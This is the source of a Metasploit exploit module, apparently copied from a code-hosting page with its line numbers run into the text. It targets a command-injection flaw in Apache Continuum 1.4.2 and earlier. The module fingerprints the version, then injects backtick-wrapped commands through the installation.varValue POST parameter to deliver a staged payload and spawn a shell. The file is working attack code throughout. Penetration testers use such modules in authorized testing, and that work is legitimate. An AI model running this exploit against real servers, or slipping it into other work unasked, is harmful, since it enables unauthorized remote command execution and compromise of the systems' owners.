Path: blob/master/modules/exploits/linux/http/apache_continuum_cmd_exec.rb
31310 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Apache Continuum Arbitrary Command Execution',16'Description' => %q{17This module exploits a command injection in Apache Continuum <= 1.4.2.18By injecting a command into the installation.varValue POST parameter to19/continuum/saveInstallation.action, a shell can be spawned.20},21'Author' => [22'David Shanahan', # Proof of concept23'wvu' # Metasploit module24],25'References' => [26%w{CVE 2016-15057},27%w{EDB 39886},28],29'DisclosureDate' => '2016-04-06',30'License' => MSF_LICENSE,31'Platform' => 'linux',32'Arch' => [ARCH_X86, ARCH_X64],33'Privileged' => false,34'Targets' => [35['Apache Continuum <= 1.4.2', {}]36],37'DefaultTarget' => 0,38'Notes' => {39'Reliability' => UNKNOWN_RELIABILITY,40'Stability' => UNKNOWN_STABILITY,41'SideEffects' => UNKNOWN_SIDE_EFFECTS42}43)44)4546register_options([47Opt::RPORT(8080)48])49end5051def check52res = send_request_cgi(53'method' => 'GET',54'uri' => '/continuum/about.action'55)5657if res && res.body.include?('1.4.2')58CheckCode::Appears59elsif res && res.code == 20060CheckCode::Detected61else62CheckCode::Safe63end64end6566def exploit67print_status('Injecting CmdStager payload...')68execute_cmdstager69end7071def execute_command(cmd, opts = {})72send_request_cgi(73'method' => 'POST',74'uri' => '/continuum/saveInstallation.action',75'vars_post' => {76'installation.name' => Rex::Text.rand_text_alpha(8),77'installation.type' => 'jdk',78'installation.varValue' => '`' + cmd + '`'79}80)81end82end838485